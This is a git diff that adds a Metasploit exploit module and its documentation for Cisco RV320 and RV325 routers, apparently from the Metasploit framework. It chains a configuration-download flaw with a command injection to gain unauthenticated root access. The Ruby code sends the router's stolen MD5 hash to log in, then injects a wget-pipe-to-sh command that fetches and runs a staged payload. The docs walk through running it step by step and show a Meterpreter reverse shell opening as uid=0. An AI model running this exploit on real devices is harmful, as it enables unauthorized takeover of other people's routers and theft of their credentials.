diff --git a/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md b/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md new file mode 100644 index 0000000000..3391cfbdaf --- /dev/null +++ b/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md @@ -0,0 +1,148 @@ +## Intro +This module automatically exploits two vulnerabilities to create an effectively +unauthenticated remote code execution on RV320 and RV325 routers. + +The module will perform the following steps: + +First the module will download the configuration. Then it will extract the MD5 +password hash for the web interface user. The MD5 password hash is directly +accepted during login instead of the plain text password. With the MD5 hash the +module will authenticate to the web interface of the router and get a valid +authentication cookie. + +The second step is using the authentication cookie to +send an authenticated request to the web interface which exploits a command +injection vulnerability. The injection is limited to ~50 characters. Therefore, +the module uses a web server to stage a shell payload for the MIPS64 +architecture of the router. Depending on the payload the module will result in +a shell or meterpreter session. + +## Vulnerable Application: + +Cisco Small Business Routers RV320 and RV325 with firmware versions between +1.4.2.15 and 14.2.20. + +Link to vulnerable Firmware Version: +https://software.cisco.com/download/home/284005929/type/282465789/release/1.4.2.20?i=!pp + + +Links to Advisories: +Part 1 of the exploit (configuration download): +https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export + +Part 2 of the exploit (command injection in web interface): +https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection + +Advisories by vendor: +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject + +## Options + +**RHOSTS** +Configure the remote vulnerable system. + +**RPORT** +Configure the TCP port of the HTTP/HTTPS management web interface. + +**USE_SSL** +This flag controls whether the remote management web interface is accessible +via HTTPS or not. Should be false for HTTP and true for HTTPS. + +**PAYLOAD** +Configure the Metasploit payload that you want to stage. Must be for MIPS64 +arch. Set payload Options accordingly. + +**SRVHOST** +The module stages the payload via a web server. This is the binding interface +IP. Default can be set to 0.0.0.0. + +**HTTPDelay** +This configures how long the module should wait for the incoming HTTP +connection to the HTTP stager. + +## Verification Steps: + +1. Have exploitable RV320 or RV325 router (exampe IP: 192.168.1.1): +2. Start `msfconsole`: +3. Do: ```use exploit/linux/http/cisco_rv32x_rce``` +4. Do: ```set RHOSTS 192.168.1.1``` +5. Do: ```set payload linux/mips64/meterpreter_reverse_tcp``` (Set the MIPS64 payload you want to use) +6. Do: ```set LHOST 192.168.1.2``` (Setting your own IP here, example: 192.168.1.2) +7. Do: ```set RPORT 8007``` (Set the remote Port on which the router web interface is accessible) +8. Do: ```run``` +9. Gives you a privileged (uid=0) shell or in the example a meterpreter session. + + +## Scenario + +Exploiting a vulnerable RV320 router with publicly accessible HTTPS web +interface on TCP port 443: +``` +msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 +msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp +msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 +msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 +msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true +msf5 exploit(linux/http/cisco_rv32x_rce) > run +``` + +Demo example output for the module: +``` +msf5 > use exploit/linux/http/cisco_rv32x_rce +msf5 exploit(linux/http/cisco_rv32x_rce) > show options + +Module options (exploit/linux/http/cisco_rv32x_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + RPORT 8007 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 + SRVPORT 8080 yes The local port to listen on. + URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.) + USE_SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 LINUX MIPS64 + +msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 +RHOSTS => 192.168.1.1 +msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp +payload => linux/mips64/meterpreter_reverse_tcp +msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 +LHOST => 192.168.1.2 +msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 +RPORT => 443 +msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true +USE_SSL => true +msf5 exploit(linux/http/cisco_rv32x_rce) > run + +[*] Started reverse TCP handler on 192.168.1.2:4444 +[*] Using URL: http://0.0.0.0:8080/ +[*] Local IP: http://192.168.1.2:8080/ +[*] Server started. +[*] Downloading configuration from 192.168.1.1:443 +[*] Using SSL connection to router. +[*] Successfully downloaded config +[*] Got MD5-Hash: dfead10390e560aea745ccba53e044ed +[*] Loging in as user cisco using password hash. +[*] Using default auth_key 1964300002 +[*] Successfully logged in as user cisco. +[*] Got cookies: mlap=RGVmYXVsdDE6Ojo6Y2lzY28=; +[*] Sending payload. Staging via http://192.168.1.2:8080/. +[*] 192.168.1.1:443 - Payload request received: / +[*] Waiting for stager connection timed out. Try increasing the delay. +[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:48580) at 2019-03-14 10:00:00 +0100 +[*] Server stopped. + +meterpreter > getuid +Server username: uid=0, gid=99, euid=0, egid=99 +``` diff --git a/modules/exploits/linux/http/cisco_rv32x_rce.rb b/modules/exploits/linux/http/cisco_rv32x_rce.rb new file mode 100644 index 0000000000..09a29fc7e8 --- /dev/null +++ b/modules/exploits/linux/http/cisco_rv32x_rce.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", + 'Description' => %q{ + This exploit module combines an information disclosure (CVE-2019-1653) + and a command injection vulnerability (CVE-2019-1652) together to gain + unauthenticated remote code execution on Cisco RV320 and RV325 small business + routers. Can be exploited via the WAN interface of the router. Either via HTTPS + on port 443 or HTTP on port 8007 on some older firmware versions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'RedTeam Pentesting GmbH', # Discovery, Metasploit + 'Philip Huppert', # Discovery + 'Benjamin Grap' # Metasploit + ], + 'References' => [ + [ 'CVE','2019-1653' ], + [ 'CVE','2019-1652' ], + [ 'EDB','46243' ], + [ 'BID','106728' ], + [ 'BID','106732' ], + [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ], + [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ] + ], + 'Platform' => 'linux', + 'Targets' => + [ + [ 'LINUX MIPS64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64 + } + ] + ], + 'Payload' => + { + 'BadChars' => "" + }, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 9 2018", + 'DefaultTarget' => 0)) + + register_options([ + Opt::RPORT(8007), # port of Cisco webinterface + OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]), + OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up. + ]) + deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option. + deregister_options('SSLCert') # not required since stager only uses HTTP. + end + + def execute_command(cmd, opts = {}) + # use generated payload, we don't have to do anything here + end + + def autofilter + true + end + + def on_request_uri(cli, req) + print_status("#{peer} - Payload request received: #{req.uri}") + @cmdstager = generate_cmdstager().join(';') + send_response(cli, "#{@cmdstager}") + end + + def primer + payload_url = get_uri + print_status("Downloading configuration from #{peer}") + if(datastore['USE_SSL']) + print_status("Using SSL connection to router.") + end + res = send_request_cgi({ + 'uri' => normalize_uri("cgi-bin","config.exp"), + 'SSL' => datastore['USE_SSL'] + }) + unless res + vprint_error('Connection failed.') + return nil + end + + unless res.code == 200 + vprint_error('Could not download config. Aborting.') + return nil + end + + print_status("Successfully downloaded config") + username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1] + pass = res.body.match(/^PASSWD=(\h+)/)[1] + authkey = "1964300002" + print_status("Got MD5-Hash: #{pass}") + print_status("Loging in as user #{username} using password hash.") + print_status("Using default auth_key #{authkey}") + res2 = send_request_cgi({ + 'uri' => normalize_uri("cgi-bin","userLogin.cgi"), + 'SSL' => datastore['USE_SSL'], + 'method' => 'POST', + 'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password=" + }) + + unless res + vprint_error('Connection failed during login. Aborting.') + return nil + end + + unless res.code == 200 + vprint_error('Login failed with downloaded credentials. Aborting.') + return nil + end + + #Extract authentication cookies + cookies = res2.get_cookies() + print_status("Successfully logged in as user #{username}.") + print_status("Got cookies: #{cookies}") + print_status("Sending payload. Staging via #{payload_url}.") + #Build staging command + command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'") + if(command_string.length <= 63) + print_status("Staging command length looks good. Sending exploit!") + else + vprint_error("Warning: Staging command length probably too long. Trying anyway...") + end + + res3 = send_request_cgi({ + 'uri' => normalize_uri("certificate_handle2.htm"), + 'SSL' => datastore['USE_SSL'], + 'method' => 'POST', + 'cookie' => cookies, + 'vars_get' => { + 'type' => '4', + }, + 'vars_post' => { + 'page' => 'self_generator.htm', + 'totalRules' => '1', + 'OpenVPNRules' => '30', + 'submitStatus' => '1', + 'log_ch' => '1', + 'type' => '4', + 'Country' => 'A', + 'state' => 'A', + 'locality' => 'A', + 'organization' => 'A', + 'organization_unit' => 'A', + 'email' => 'any@example.com', + 'KeySize' => '512', + 'KeyLength' => '1024', + 'valid_days' => '30', + 'SelectSubject_c' => '1', + 'SelectSubject_s' => '1' + }, + 'data' => "common_name=#{command_string}" + }) + unless res3 + vprint_error('Connection failed while sending command. Aborting.') + return nil + end + + unless res3.code == 200 + vprint_error('Sending command not successful.') + return nil + end + print_status("Sending payload timed out. Waiting for stager to connect...") + end + + def check + #Check if device is vulnerable by downloading the config + res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")}) + + unless res + vprint_error('Connection failed.') + return CheckCode::Unknown + end + + unless res.code == 200 + return CheckCode::Safe + end + + unless res.body =~ /PASSWD/ + return CheckCode::Detected + end + + CheckCode::Vulnerable + end + + def exploit + # Main function. + # Setting delay for the Stager. + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error + print_status("Waiting for stager connection timed out. Try increasing the delay.") + end +end